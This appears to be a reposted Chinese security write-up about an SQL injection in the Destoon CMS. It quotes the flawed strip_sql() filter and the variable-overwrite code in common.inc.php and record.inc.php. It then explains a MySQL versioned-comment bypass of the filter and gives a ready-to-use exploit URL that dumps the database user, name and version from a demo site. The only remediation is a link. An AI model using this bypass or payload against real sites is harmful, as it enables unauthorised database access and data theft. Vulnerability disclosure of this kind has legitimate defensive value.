鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

Destoon最新全版本通杀SQL注入及修复

来源:互联网 作者:佚名 时间:2015-08-26 07:47
/common.inc.php 64行: if($_POST) $_POST = strip_sql($_POST); //strip_sql()过滤if($_GET) $_GET = strip_sql($_GET);if($_COOKIE) $_COOKIE = strip_sql($_COOKIE);.........if($_POST) extract($_POST, EXTR_SKIP); //注册变量if($_GET) extract($_GET,
/common.inc.php 64行:
 
 
if($_POST) $_POST = strip_sql($_POST); //strip_sql()过滤

if($_GET) $_GET = strip_sql($_GET);

if($_COOKIE) $_COOKIE = strip_sql($_COOKIE);

.........

if($_POST) extract($_POST, EXTR_SKIP); //注册变量

if($_GET) extract($_GET, EXTR_SKIP);

 

跟进strip_sql()
 
/include/global.func.php 186行:
 
function strip_sql($string) {

$search = array("/union([[:space:]\/])/i","/select([[:space:]\/])/i","/update([[:space:]\/])/i","/replace([[:space:]\/])/i","/delete([[:space:]\/])/i","/drop([[:space:]\/])/i","/outfile([[:space:]\/])/i","/dumpfile([[:space:]\/])/i","/load_file\(/i","/substring\(/i","/ascii\(/i","/hex\(/i","/ord\(/i","/char\(/i");

$replace = array('union\\1','select\\1','update\\1','replace\\1','delete\\1','drop\\1','outfile\\1','dumpfile\\1','load_file(','substring(','ascii(','hex(','ord(','char(');

return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string);

}

 

 
采用了新的正则表达式,之前西毒放出的exp,已经无法绕过新版本的过滤了。
 
此处可采用新的绕过方式:/!5000union*/
 
 
 
首先寻找一个注射点:
 
/module/member/record.inc.php 16行:
 


isset($mid) or $mid = 0;

isset($currency) or $currency = '';

$module_select = module_select('mid', $L['module_name'], $mid);

if($keyword) $condition .= " AND title LIKE '%$keyword%'";

if($fromtime) $condition .= " AND paytime>".(strtotime($fromtime.' 00:00:00'));

if($totime) $condition .= " AND paytime<".(strtotime($totime.' 23:59:59'));

if($mid) $condition .= " AND moduleid=$mid";

if($itemid) $condition .= " AND itemid=$itemid";

if($currency) $condition .= " AND currency='$currency'";

$r = $db->get_one("SELECT COUNT(*) AS num FROM {$DT_PRE}finance_pay WHERE $condition");//

$pages = pages($r['num'], $page, $pagesize);

$lists = array();

echo "SELECT * FROM {$DT_PRE}finance_pay WHERE $condition ORDER BY pid DESC LIMIT $offset,$pagesize";

$result = $db->query("SELECT * FROM {$DT_PRE}finance_pay WHERE $condition ORDER BY pid DESC LIMIT $offset,$pagesize");

 

此处利用变量覆盖,就可以顺利构造sql注入
 
 
 
/member/record.php
 

<?php 

require 'config.inc.php';

require '../common.inc.php';

require DT_ROOT.'/module/'.$module.'/record.inc.php';

?>
引入了common.inc.php,所以存在变量覆盖。并且可以绕过正则的过滤。最终造成sql注入
 
exp:http://demo.destoon.com/v5.0/member/record.php?action=pay&mid=-1/*!50000union*//*!50000select*/user(),2,database(),version(),5,6,7,8,9--
 





 
修复方案:
详见 http://bbs.destoon.com/thread-54159-1-1.html

网友评论
<